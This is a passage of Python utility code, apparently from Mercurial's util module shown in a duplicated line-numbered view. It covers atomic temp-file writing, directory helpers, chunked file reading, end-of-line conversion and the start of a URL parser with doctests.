2427 the temporary copy to the original name, making the changes
2428 visible. If the object is destroyed without being closed, all your
2428 visible. If the object is destroyed without being closed, all your
2429 writes are discarded.
2429 writes are discarded.
2430
2430
2431 checkambig argument of constructor is used with filestat, and is
2431 checkambig argument of constructor is used with filestat, and is
2432 useful only if target file is guarded by any lock (e.g. repo.lock
2432 useful only if target file is guarded by any lock (e.g. repo.lock
2433 or repo.wlock).
2433 or repo.wlock).
2434 '''
2434 '''
2435
2435
2436 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2436 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2437 self.__name = name # permanent name
2437 self.__name = name # permanent name
2438 self._tempname = mktempcopy(
2438 self._tempname = mktempcopy(
2439 name,
2439 name,
2440 emptyok=(b'w' in mode),
2440 emptyok=(b'w' in mode),
2441 createmode=createmode,
2441 createmode=createmode,
2442 enforcewritable=(b'w' in mode),
2442 enforcewritable=(b'w' in mode),
2443 )
2443 )
2444
2444
2445 self._fp = posixfile(self._tempname, mode)
2445 self._fp = posixfile(self._tempname, mode)
2446 self._checkambig = checkambig
2446 self._checkambig = checkambig
2447
2447
2448 # delegated methods
2448 # delegated methods
2449 self.read = self._fp.read
2449 self.read = self._fp.read
2450 self.write = self._fp.write
2450 self.write = self._fp.write
2451 self.seek = self._fp.seek
2451 self.seek = self._fp.seek
2452 self.tell = self._fp.tell
2452 self.tell = self._fp.tell
2453 self.fileno = self._fp.fileno
2453 self.fileno = self._fp.fileno
2454
2454
2455 def close(self):
2455 def close(self):
2456 if not self._fp.closed:
2456 if not self._fp.closed:
2457 self._fp.close()
2457 self._fp.close()
2458 filename = localpath(self.__name)
2458 filename = localpath(self.__name)
2459 oldstat = self._checkambig and filestat.frompath(filename)
2459 oldstat = self._checkambig and filestat.frompath(filename)
2460 if oldstat and oldstat.stat:
2460 if oldstat and oldstat.stat:
2461 rename(self._tempname, filename)
2461 rename(self._tempname, filename)
2462 newstat = filestat.frompath(filename)
2462 newstat = filestat.frompath(filename)
2463 if newstat.isambig(oldstat):
2463 if newstat.isambig(oldstat):
2464 # stat of changed file is ambiguous to original one
2464 # stat of changed file is ambiguous to original one
2465 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2465 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2466 os.utime(filename, (advanced, advanced))
2466 os.utime(filename, (advanced, advanced))
2467 else:
2467 else:
2468 rename(self._tempname, filename)
2468 rename(self._tempname, filename)
2469
2469
2470 def discard(self):
2470 def discard(self):
2471 if not self._fp.closed:
2471 if not self._fp.closed:
2472 try:
2472 try:
2473 os.unlink(self._tempname)
2473 os.unlink(self._tempname)
2474 except OSError:
2474 except OSError:
2475 pass
2475 pass
2476 self._fp.close()
2476 self._fp.close()
2477
2477
2478 def __del__(self):
2478 def __del__(self):
2479 if safehasattr(self, '_fp'): # constructor actually did something
2479 if safehasattr(self, '_fp'): # constructor actually did something
2480 self.discard()
2480 self.discard()
2481
2481
2482 def __enter__(self):
2482 def __enter__(self):
2483 return self
2483 return self
2484
2484
2485 def __exit__(self, exctype, excvalue, traceback):
2485 def __exit__(self, exctype, excvalue, traceback):
2486 if exctype is not None:
2486 if exctype is not None:
2487 self.discard()
2487 self.discard()
2488 else:
2488 else:
2489 self.close()
2489 self.close()
2490
2490
2491
2491
2492 def unlinkpath(f, ignoremissing=False, rmdir=True):
2492 def unlinkpath(f, ignoremissing=False, rmdir=True):
2493 """unlink and remove the directory if it is empty"""
2493 """unlink and remove the directory if it is empty"""
2494 if ignoremissing:
2494 if ignoremissing:
2495 tryunlink(f)
2495 tryunlink(f)
2496 else:
2496 else:
2497 unlink(f)
2497 unlink(f)
2498 if rmdir:
2498 if rmdir:
2499 # try removing directories that might now be empty
2499 # try removing directories that might now be empty
2500 try:
2500 try:
2501 removedirs(os.path.dirname(f))
2501 removedirs(os.path.dirname(f))
2502 except OSError:
2502 except OSError:
2503 pass
2503 pass
2504
2504
2505
2505
2506 def tryunlink(f):
2506 def tryunlink(f):
2507 """Attempt to remove a file, ignoring ENOENT errors."""
2507 """Attempt to remove a file, ignoring ENOENT errors."""
2508 try:
2508 try:
2509 unlink(f)
2509 unlink(f)
2510 except OSError as e:
2510 except OSError as e:
2511 if e.errno != errno.ENOENT:
2511 if e.errno != errno.ENOENT:
2512 raise
2512 raise
2513
2513
2514
2514
2515 def makedirs(name, mode=None, notindexed=False):
2515 def makedirs(name, mode=None, notindexed=False):
2516 """recursive directory creation with parent mode inheritance
2516 """recursive directory creation with parent mode inheritance
2517
2517
2518 Newly created directories are marked as "not to be indexed by
2518 Newly created directories are marked as "not to be indexed by
2519 the content indexing service", if ``notindexed`` is specified
2519 the content indexing service", if ``notindexed`` is specified
2520 for "write" mode access.
2520 for "write" mode access.
2521 """
2521 """
2522 try:
2522 try:
2523 makedir(name, notindexed)
2523 makedir(name, notindexed)
2524 except OSError as err:
2524 except OSError as err:
2525 if err.errno == errno.EEXIST:
2525 if err.errno == errno.EEXIST:
2526 return
2526 return
2527 if err.errno != errno.ENOENT or not name:
2527 if err.errno != errno.ENOENT or not name:
2528 raise
2528 raise
2529 parent = os.path.dirname(os.path.abspath(name))
2529 parent = os.path.dirname(os.path.abspath(name))
2530 if parent == name:
2530 if parent == name:
2531 raise
2531 raise
2532 makedirs(parent, mode, notindexed)
2532 makedirs(parent, mode, notindexed)
2533 try:
2533 try:
2534 makedir(name, notindexed)
2534 makedir(name, notindexed)
2535 except OSError as err:
2535 except OSError as err:
2536 # Catch EEXIST to handle races
2536 # Catch EEXIST to handle races
2537 if err.errno == errno.EEXIST:
2537 if err.errno == errno.EEXIST:
2538 return
2538 return
2539 raise
2539 raise
2540 if mode is not None:
2540 if mode is not None:
2541 os.chmod(name, mode)
2541 os.chmod(name, mode)
2542
2542
2543
2543
2544 def readfile(path):
2544 def readfile(path):
2545 with open(path, b'rb') as fp:
2545 with open(path, b'rb') as fp:
2546 return fp.read()
2546 return fp.read()
2547
2547
2548
2548
2549 def writefile(path, text):
2549 def writefile(path, text):
2550 with open(path, b'wb') as fp:
2550 with open(path, b'wb') as fp:
2551 fp.write(text)
2551 fp.write(text)
2552
2552
2553
2553
2554 def appendfile(path, text):
2554 def appendfile(path, text):
2555 with open(path, b'ab') as fp:
2555 with open(path, b'ab') as fp:
2556 fp.write(text)
2556 fp.write(text)
2557
2557
2558
2558
2559 class chunkbuffer(object):
2559 class chunkbuffer(object):
2560 """Allow arbitrary sized chunks of data to be efficiently read from an
2560 """Allow arbitrary sized chunks of data to be efficiently read from an
2561 iterator over chunks of arbitrary size."""
2561 iterator over chunks of arbitrary size."""
2562
2562
2563 def __init__(self, in_iter):
2563 def __init__(self, in_iter):
2564 """in_iter is the iterator that's iterating over the input chunks."""
2564 """in_iter is the iterator that's iterating over the input chunks."""
2565
2565
2566 def splitbig(chunks):
2566 def splitbig(chunks):
2567 for chunk in chunks:
2567 for chunk in chunks:
2568 if len(chunk) > 2 ** 20:
2568 if len(chunk) > 2 ** 20:
2569 pos = 0
2569 pos = 0
2570 while pos < len(chunk):
2570 while pos < len(chunk):
2571 end = pos + 2 ** 18
2571 end = pos + 2 ** 18
2572 yield chunk[pos:end]
2572 yield chunk[pos:end]
2573 pos = end
2573 pos = end
2574 else:
2574 else:
2575 yield chunk
2575 yield chunk
2576
2576
2577 self.iter = splitbig(in_iter)
2577 self.iter = splitbig(in_iter)
2578 self._queue = collections.deque()
2578 self._queue = collections.deque()
2579 self._chunkoffset = 0
2579 self._chunkoffset = 0
2580
2580
2581 def read(self, l=None):
2581 def read(self, l=None):
2582 """Read L bytes of data from the iterator of chunks of data.
2582 """Read L bytes of data from the iterator of chunks of data.
2583 Returns less than L bytes if the iterator runs dry.
2583 Returns less than L bytes if the iterator runs dry.
2584
2584
2585 If size parameter is omitted, read everything"""
2585 If size parameter is omitted, read everything"""
2586 if l is None:
2586 if l is None:
2587 return b''.join(self.iter)
2587 return b''.join(self.iter)
2588
2588
2589 left = l
2589 left = l
2590 buf = []
2590 buf = []
2591 queue = self._queue
2591 queue = self._queue
2592 while left > 0:
2592 while left > 0:
2593 # refill the queue
2593 # refill the queue
2594 if not queue:
2594 if not queue:
2595 target = 2 ** 18
2595 target = 2 ** 18
2596 for chunk in self.iter:
2596 for chunk in self.iter:
2597 queue.append(chunk)
2597 queue.append(chunk)
2598 target -= len(chunk)
2598 target -= len(chunk)
2599 if target <= 0:
2599 if target <= 0:
2600 break
2600 break
2601 if not queue:
2601 if not queue:
2602 break
2602 break
2603
2603
2604 # The easy way to do this would be to queue.popleft(), modify the
2604 # The easy way to do this would be to queue.popleft(), modify the
2605 # chunk (if necessary), then queue.appendleft(). However, for cases
2605 # chunk (if necessary), then queue.appendleft(). However, for cases
2606 # where we read partial chunk content, this incurs 2 dequeue
2606 # where we read partial chunk content, this incurs 2 dequeue
2607 # mutations and creates a new str for the remaining chunk in the
2607 # mutations and creates a new str for the remaining chunk in the
2608 # queue. Our code below avoids this overhead.
2608 # queue. Our code below avoids this overhead.
2609
2609
2610 chunk = queue[0]
2610 chunk = queue[0]
2611 chunkl = len(chunk)
2611 chunkl = len(chunk)
2612 offset = self._chunkoffset
2612 offset = self._chunkoffset
2613
2613
2614 # Use full chunk.
2614 # Use full chunk.
2615 if offset == 0 and left >= chunkl:
2615 if offset == 0 and left >= chunkl:
2616 left -= chunkl
2616 left -= chunkl
2617 queue.popleft()
2617 queue.popleft()
2618 buf.append(chunk)
2618 buf.append(chunk)
2619 # self._chunkoffset remains at 0.
2619 # self._chunkoffset remains at 0.
2620 continue
2620 continue
2621
2621
2622 chunkremaining = chunkl - offset
2622 chunkremaining = chunkl - offset
2623
2623
2624 # Use all of unconsumed part of chunk.
2624 # Use all of unconsumed part of chunk.
2625 if left >= chunkremaining:
2625 if left >= chunkremaining:
2626 left -= chunkremaining
2626 left -= chunkremaining
2627 queue.popleft()
2627 queue.popleft()
2628 # offset == 0 is enabled by block above, so this won't merely
2628 # offset == 0 is enabled by block above, so this won't merely
2629 # copy via ``chunk[0:]``.
2629 # copy via ``chunk[0:]``.
2630 buf.append(chunk[offset:])
2630 buf.append(chunk[offset:])
2631 self._chunkoffset = 0
2631 self._chunkoffset = 0
2632
2632
2633 # Partial chunk needed.
2633 # Partial chunk needed.
2634 else:
2634 else:
2635 buf.append(chunk[offset : offset + left])
2635 buf.append(chunk[offset : offset + left])
2636 self._chunkoffset += left
2636 self._chunkoffset += left
2637 left -= chunkremaining
2637 left -= chunkremaining
2638
2638
2639 return b''.join(buf)
2639 return b''.join(buf)
2640
2640
2641
2641
2642 def filechunkiter(f, size=131072, limit=None):
2642 def filechunkiter(f, size=131072, limit=None):
2643 """Create a generator that produces the data in the file size
2643 """Create a generator that produces the data in the file size
2644 (default 131072) bytes at a time, up to optional limit (default is
2644 (default 131072) bytes at a time, up to optional limit (default is
2645 to read all data). Chunks may be less than size bytes if the
2645 to read all data). Chunks may be less than size bytes if the
2646 chunk is the last chunk in the file, or the file is a socket or
2646 chunk is the last chunk in the file, or the file is a socket or
2647 some other type of file that sometimes reads less data than is
2647 some other type of file that sometimes reads less data than is
2648 requested."""
2648 requested."""
2649 assert size >= 0
2649 assert size >= 0
2650 assert limit is None or limit >= 0
2650 assert limit is None or limit >= 0
2651 while True:
2651 while True:
2652 if limit is None:
2652 if limit is None:
2653 nbytes = size
2653 nbytes = size
2654 else:
2654 else:
2655 nbytes = min(limit, size)
2655 nbytes = min(limit, size)
2656 s = nbytes and f.read(nbytes)
2656 s = nbytes and f.read(nbytes)
2657 if not s:
2657 if not s:
2658 break
2658 break
2659 if limit:
2659 if limit:
2660 limit -= len(s)
2660 limit -= len(s)
2661 yield s
2661 yield s
2662
2662
2663
2663
2664 class cappedreader(object):
2664 class cappedreader(object):
2665 """A file object proxy that allows reading up to N bytes.
2665 """A file object proxy that allows reading up to N bytes.
2666
2666
2667 Given a source file object, instances of this type allow reading up to
2667 Given a source file object, instances of this type allow reading up to
2668 N bytes from that source file object. Attempts to read past the allowed
2668 N bytes from that source file object. Attempts to read past the allowed
2669 limit are treated as EOF.
2669 limit are treated as EOF.
2670
2670
2671 It is assumed that I/O is not performed on the original file object
2671 It is assumed that I/O is not performed on the original file object
2672 in addition to I/O that is performed by this instance. If there is,
2672 in addition to I/O that is performed by this instance. If there is,
2673 state tracking will get out of sync and unexpected results will ensue.
2673 state tracking will get out of sync and unexpected results will ensue.
2674 """
2674 """
2675
2675
2676 def __init__(self, fh, limit):
2676 def __init__(self, fh, limit):
2677 """Allow reading up to <limit> bytes from <fh>."""
2677 """Allow reading up to <limit> bytes from <fh>."""
2678 self._fh = fh
2678 self._fh = fh
2679 self._left = limit
2679 self._left = limit
2680
2680
2681 def read(self, n=-1):
2681 def read(self, n=-1):
2682 if not self._left:
2682 if not self._left:
2683 return b''
2683 return b''
2684
2684
2685 if n < 0:
2685 if n < 0:
2686 n = self._left
2686 n = self._left
2687
2687
2688 data = self._fh.read(min(n, self._left))
2688 data = self._fh.read(min(n, self._left))
2689 self._left -= len(data)
2689 self._left -= len(data)
2690 assert self._left >= 0
2690 assert self._left >= 0
2691
2691
2692 return data
2692 return data
2693
2693
2694 def readinto(self, b):
2694 def readinto(self, b):
2695 res = self.read(len(b))
2695 res = self.read(len(b))
2696 if res is None:
2696 if res is None:
2697 return None
2697 return None
2698
2698
2699 b[0 : len(res)] = res
2699 b[0 : len(res)] = res
2700 return len(res)
2700 return len(res)
2701
2701
2702
2702
2703 def unitcountfn(*unittable):
2703 def unitcountfn(*unittable):
2704 '''return a function that renders a readable count of some quantity'''
2704 '''return a function that renders a readable count of some quantity'''
2705
2705
2706 def go(count):
2706 def go(count):
2707 for multiplier, divisor, format in unittable:
2707 for multiplier, divisor, format in unittable:
2708 if abs(count) >= divisor * multiplier:
2708 if abs(count) >= divisor * multiplier:
2709 return format % (count / float(divisor))
2709 return format % (count / float(divisor))
2710 return unittable[-1][2] % count
2710 return unittable[-1][2] % count
2711
2711
2712 return go
2712 return go
2713
2713
2714
2714
2715 def processlinerange(fromline, toline):
2715 def processlinerange(fromline, toline):
2716 """Check that linerange <fromline>:<toline> makes sense and return a
2716 """Check that linerange <fromline>:<toline> makes sense and return a
2717 0-based range.
2717 0-based range.
2718
2718
2719 >>> processlinerange(10, 20)
2719 >>> processlinerange(10, 20)
2720 (9, 20)
2720 (9, 20)
2721 >>> processlinerange(2, 1)
2721 >>> processlinerange(2, 1)
2722 Traceback (most recent call last):
2722 Traceback (most recent call last):
2723 ...
2723 ...
2724 ParseError: line range must be positive
2724 ParseError: line range must be positive
2725 >>> processlinerange(0, 5)
2725 >>> processlinerange(0, 5)
2726 Traceback (most recent call last):
2726 Traceback (most recent call last):
2727 ...
2727 ...
2728 ParseError: fromline must be strictly positive
2728 ParseError: fromline must be strictly positive
2729 """
2729 """
2730 if toline - fromline < 0:
2730 if toline - fromline < 0:
2731 raise error.ParseError(_(b"line range must be positive"))
2731 raise error.ParseError(_(b"line range must be positive"))
2732 if fromline < 1:
2732 if fromline < 1:
2733 raise error.ParseError(_(b"fromline must be strictly positive"))
2733 raise error.ParseError(_(b"fromline must be strictly positive"))
2734 return fromline - 1, toline
2734 return fromline - 1, toline
2735
2735
2736
2736
2737 bytecount = unitcountfn(
2737 bytecount = unitcountfn(
2738 (100, 1 << 30, _(b'%.0f GB')),
2738 (100, 1 << 30, _(b'%.0f GB')),
2739 (10, 1 << 30, _(b'%.1f GB')),
2739 (10, 1 << 30, _(b'%.1f GB')),
2740 (1, 1 << 30, _(b'%.2f GB')),
2740 (1, 1 << 30, _(b'%.2f GB')),
2741 (100, 1 << 20, _(b'%.0f MB')),
2741 (100, 1 << 20, _(b'%.0f MB')),
2742 (10, 1 << 20, _(b'%.1f MB')),
2742 (10, 1 << 20, _(b'%.1f MB')),
2743 (1, 1 << 20, _(b'%.2f MB')),
2743 (1, 1 << 20, _(b'%.2f MB')),
2744 (100, 1 << 10, _(b'%.0f KB')),
2744 (100, 1 << 10, _(b'%.0f KB')),
2745 (10, 1 << 10, _(b'%.1f KB')),
2745 (10, 1 << 10, _(b'%.1f KB')),
2746 (1, 1 << 10, _(b'%.2f KB')),
2746 (1, 1 << 10, _(b'%.2f KB')),
2747 (1, 1, _(b'%.0f bytes')),
2747 (1, 1, _(b'%.0f bytes')),
2748 )
2748 )
2749
2749
2750
2750
2751 class transformingwriter(object):
2751 class transformingwriter(object):
2752 """Writable file wrapper to transform data by function"""
2752 """Writable file wrapper to transform data by function"""
2753
2753
2754 def __init__(self, fp, encode):
2754 def __init__(self, fp, encode):
2755 self._fp = fp
2755 self._fp = fp
2756 self._encode = encode
2756 self._encode = encode
2757
2757
2758 def close(self):
2758 def close(self):
2759 self._fp.close()
2759 self._fp.close()
2760
2760
2761 def flush(self):
2761 def flush(self):
2762 self._fp.flush()
2762 self._fp.flush()
2763
2763
2764 def write(self, data):
2764 def write(self, data):
2765 return self._fp.write(self._encode(data))
2765 return self._fp.write(self._encode(data))
2766
2766
2767
2767
2768 # Matches a single EOL which can either be a CRLF where repeated CR
2768 # Matches a single EOL which can either be a CRLF where repeated CR
2769 # are removed or a LF. We do not care about old Macintosh files, so a
2769 # are removed or a LF. We do not care about old Macintosh files, so a
2770 # stray CR is an error.
2770 # stray CR is an error.
2771 _eolre = remod.compile(br'\r*\n')
2771 _eolre = remod.compile(br'\r*\n')
2772
2772
2773
2773
2774 def tolf(s):
2774 def tolf(s):
2775 return _eolre.sub(b'\n', s)
2775 return _eolre.sub(b'\n', s)
2776
2776
2777
2777
2778 def tocrlf(s):
2778 def tocrlf(s):
2779 return _eolre.sub(b'\r\n', s)
2779 return _eolre.sub(b'\r\n', s)
2780
2780
2781
2781
2782 def _crlfwriter(fp):
2782 def _crlfwriter(fp):
2783 return transformingwriter(fp, tocrlf)
2783 return transformingwriter(fp, tocrlf)
2784
2784
2785
2785
2786 if pycompat.oslinesep == b'\r\n':
2786 if pycompat.oslinesep == b'\r\n':
2787 tonativeeol = tocrlf
2787 tonativeeol = tocrlf
2788 fromnativeeol = tolf
2788 fromnativeeol = tolf
2789 nativeeolwriter = _crlfwriter
2789 nativeeolwriter = _crlfwriter
2790 else:
2790 else:
2791 tonativeeol = pycompat.identity
2791 tonativeeol = pycompat.identity
2792 fromnativeeol = pycompat.identity
2792 fromnativeeol = pycompat.identity
2793 nativeeolwriter = pycompat.identity
2793 nativeeolwriter = pycompat.identity
2794
2794
2795 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2795 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2796 3,
2796 3,
2797 0,
2797 0,
2798 ):
2798 ):
2799 # There is an issue in CPython that some IO methods do not handle EINTR
2799 # There is an issue in CPython that some IO methods do not handle EINTR
2800 # correctly. The following table shows what CPython version (and functions)
2800 # correctly. The following table shows what CPython version (and functions)
2801 # are affected (buggy: has the EINTR bug, okay: otherwise):
2801 # are affected (buggy: has the EINTR bug, okay: otherwise):
2802 #
2802 #
2803 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2803 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2804 # --------------------------------------------------
2804 # --------------------------------------------------
2805 # fp.__iter__ | buggy | buggy | okay
2805 # fp.__iter__ | buggy | buggy | okay
2806 # fp.read* | buggy | okay [1] | okay
2806 # fp.read* | buggy | okay [1] | okay
2807 #
2807 #
2808 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2808 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2809 #
2809 #
2810 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2810 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2811 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2811 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2812 #
2812 #
2813 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2813 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2814 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2814 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2815 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2815 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2816 # fp.__iter__ but not other fp.read* methods.
2816 # fp.__iter__ but not other fp.read* methods.
2817 #
2817 #
2818 # On modern systems like Linux, the "read" syscall cannot be interrupted
2818 # On modern systems like Linux, the "read" syscall cannot be interrupted
2819 # when reading "fast" files like on-disk files. So the EINTR issue only
2819 # when reading "fast" files like on-disk files. So the EINTR issue only
2820 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2820 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2821 # files approximately as "fast" files and use the fast (unsafe) code path,
2821 # files approximately as "fast" files and use the fast (unsafe) code path,
2822 # to minimize the performance impact.
2822 # to minimize the performance impact.
2823 if sys.version_info >= (2, 7, 4):
2823 if sys.version_info >= (2, 7, 4):
2824 # fp.readline deals with EINTR correctly, use it as a workaround.
2824 # fp.readline deals with EINTR correctly, use it as a workaround.
2825 def _safeiterfile(fp):
2825 def _safeiterfile(fp):
2826 return iter(fp.readline, b'')
2826 return iter(fp.readline, b'')
2827
2827
2828 else:
2828 else:
2829 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2829 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2830 # note: this may block longer than necessary because of bufsize.
2830 # note: this may block longer than necessary because of bufsize.
2831 def _safeiterfile(fp, bufsize=4096):
2831 def _safeiterfile(fp, bufsize=4096):
2832 fd = fp.fileno()
2832 fd = fp.fileno()
2833 line = b''
2833 line = b''
2834 while True:
2834 while True:
2835 try:
2835 try:
2836 buf = os.read(fd, bufsize)
2836 buf = os.read(fd, bufsize)
2837 except OSError as ex:
2837 except OSError as ex:
2838 # os.read only raises EINTR before any data is read
2838 # os.read only raises EINTR before any data is read
2839 if ex.errno == errno.EINTR:
2839 if ex.errno == errno.EINTR:
2840 continue
2840 continue
2841 else:
2841 else:
2842 raise
2842 raise
2843 line += buf
2843 line += buf
2844 if b'\n' in buf:
2844 if b'\n' in buf:
2845 splitted = line.splitlines(True)
2845 splitted = line.splitlines(True)
2846 line = b''
2846 line = b''
2847 for l in splitted:
2847 for l in splitted:
2848 if l[-1] == b'\n':
2848 if l[-1] == b'\n':
2849 yield l
2849 yield l
2850 else:
2850 else:
2851 line = l
2851 line = l
2852 if not buf:
2852 if not buf:
2853 break
2853 break
2854 if line:
2854 if line:
2855 yield line
2855 yield line
2856
2856
2857 def iterfile(fp):
2857 def iterfile(fp):
2858 fastpath = True
2858 fastpath = True
2859 if type(fp) is file:
2859 if type(fp) is file:
2860 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2860 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2861 if fastpath:
2861 if fastpath:
2862 return fp
2862 return fp
2863 else:
2863 else:
2864 return _safeiterfile(fp)
2864 return _safeiterfile(fp)
2865
2865
2866
2866
2867 else:
2867 else:
2868 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2868 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2869 def iterfile(fp):
2869 def iterfile(fp):
2870 return fp
2870 return fp
2871
2871
2872
2872
2873 def iterlines(iterator):
2873 def iterlines(iterator):
2874 for chunk in iterator:
2874 for chunk in iterator:
2875 for line in chunk.splitlines():
2875 for line in chunk.splitlines():
2876 yield line
2876 yield line
2877
2877
2878
2878
2879 def expandpath(path):
2879 def expandpath(path):
2880 return os.path.expanduser(os.path.expandvars(path))
2880 return os.path.expanduser(os.path.expandvars(path))
2881
2881
2882
2882
2883 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2883 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2884 """Return the result of interpolating items in the mapping into string s.
2884 """Return the result of interpolating items in the mapping into string s.
2885
2885
2886 prefix is a single character string, or a two character string with
2886 prefix is a single character string, or a two character string with
2887 a backslash as the first character if the prefix needs to be escaped in
2887 a backslash as the first character if the prefix needs to be escaped in
2888 a regular expression.
2888 a regular expression.
2889
2889
2890 fn is an optional function that will be applied to the replacement text
2890 fn is an optional function that will be applied to the replacement text
2891 just before replacement.
2891 just before replacement.
2892
2892
2893 escape_prefix is an optional flag that allows using doubled prefix for
2893 escape_prefix is an optional flag that allows using doubled prefix for
2894 its escaping.
2894 its escaping.
2895 """
2895 """
2896 fn = fn or (lambda s: s)
2896 fn = fn or (lambda s: s)
2897 patterns = b'|'.join(mapping.keys())
2897 patterns = b'|'.join(mapping.keys())
2898 if escape_prefix:
2898 if escape_prefix:
2899 patterns += b'|' + prefix
2899 patterns += b'|' + prefix
2900 if len(prefix) > 1:
2900 if len(prefix) > 1:
2901 prefix_char = prefix[1:]
2901 prefix_char = prefix[1:]
2902 else:
2902 else:
2903 prefix_char = prefix
2903 prefix_char = prefix
2904 mapping[prefix_char] = prefix_char
2904 mapping[prefix_char] = prefix_char
2905 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2905 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2906 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2906 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2907
2907
2908
2908
2909 def getport(port):
2909 def getport(port):
2910 """Return the port for a given network service.
2910 """Return the port for a given network service.
2911
2911
2912 If port is an integer, it's returned as is. If it's a string, it's
2912 If port is an integer, it's returned as is. If it's a string, it's
2913 looked up using socket.getservbyname(). If there's no matching
2913 looked up using socket.getservbyname(). If there's no matching
2914 service, error.Abort is raised.
2914 service, error.Abort is raised.
2915 """
2915 """
2916 try:
2916 try:
2917 return int(port)
2917 return int(port)
2918 except ValueError:
2918 except ValueError:
2919 pass
2919 pass
2920
2920
2921 try:
2921 try:
2922 return socket.getservbyname(pycompat.sysstr(port))
2922 return socket.getservbyname(pycompat.sysstr(port))
2923 except socket.error:
2923 except socket.error:
2924 raise error.Abort(
2924 raise error.Abort(
2925 _(b"no port number associated with service '%s'") % port
2925 _(b"no port number associated with service '%s'") % port
2926 )
2926 )
2927
2927
2928
2928
2929 class url(object):
2929 class url(object):
2930 r"""Reliable URL parser.
2930 r"""Reliable URL parser.
2931
2931
2932 This parses URLs and provides attributes for the following
2932 This parses URLs and provides attributes for the following
2933 components:
2933 components:
2934
2934
2935 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2935 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2936
2936
2937 Missing components are set to None. The only exception is
2937 Missing components are set to None. The only exception is
2938 fragment, which is set to '' if present but empty.
2938 fragment, which is set to '' if present but empty.
2939
2939
2940 If parsefragment is False, fragment is included in query. If
2940 If parsefragment is False, fragment is included in query. If
2941 parsequery is False, query is included in path. If both are
2941 parsequery is False, query is included in path. If both are
2942 False, both fragment and query are included in path.
2942 False, both fragment and query are included in path.
2943
2943
2944 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2944 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2945
2945
2946 Note that for backward compatibility reasons, bundle URLs do not
2946 Note that for backward compatibility reasons, bundle URLs do not
2947 take host names. That means 'bundle://../' has a path of '../'.
2947 take host names. That means 'bundle://../' has a path of '../'.
2948
2948
2949 Examples:
2949 Examples:
2950
2950
2951 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2951 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2952 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2952 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2953 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2953 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2954 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2954 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2955 >>> url(b'file:///home/joe/repo')
2955 >>> url(b'file:///home/joe/repo')
2956 <url scheme: 'file', path: '/home/joe/repo'>
2956 <url scheme: 'file', path: '/home/joe/repo'>
2957 >>> url(b'file:///c:/temp/foo/')
2957 >>> url(b'file:///c:/temp/foo/')
2958 <url scheme: 'file', path: 'c:/temp/foo/'>
2958 <url scheme: 'file', path: 'c:/temp/foo/'>
2959 >>> url(b'bundle:foo')
2959 >>> url(b'bundle:foo')
2960 <url scheme: 'bundle', path: 'foo'>
2960 <url scheme: 'bundle', path: 'foo'>
2961 >>> url(b'bundle://../foo')
2961 >>> url(b'bundle://../foo')
2962 <url scheme: 'bundle', path: '../foo'>
2962 <url scheme: 'bundle', path: '../foo'>
2963 >>> url(br'c:\foo\bar')
2963 >>> url(br'c:\foo\bar')
2964 <url path: 'c:\\foo\\bar'>
2964 <url path: 'c:\\foo\\bar'>
2965 >>> url(br'\\blah\blah\blah')
2965 >>> url(br'\\blah\blah\blah')
2966 <url path: '\\\\blah\\blah\\blah'>
2966 <url path: '\\\\blah\\blah\\blah'>
2967 >>> url(br'\\blah\blah\blah#baz')
2967 >>> url(br'\\blah\blah\blah#baz')
2968 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2968 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2969 >>> url(br'file:///C:\users\me')
2969 >>> url(br'file:///C:\users\me')
2970 <url scheme: 'file', path: 'C:\\users\\me'>
2970 <url scheme: 'file', path: 'C:\\users\\me'>
2971
2971
2972 Authentication credentials:
2972 Authentication credentials:
2973
2973
2974 >>> url(b'ssh://joe:xyz@x/repo')
2974 >>> url(b'ssh://joe:xyz@x/repo')
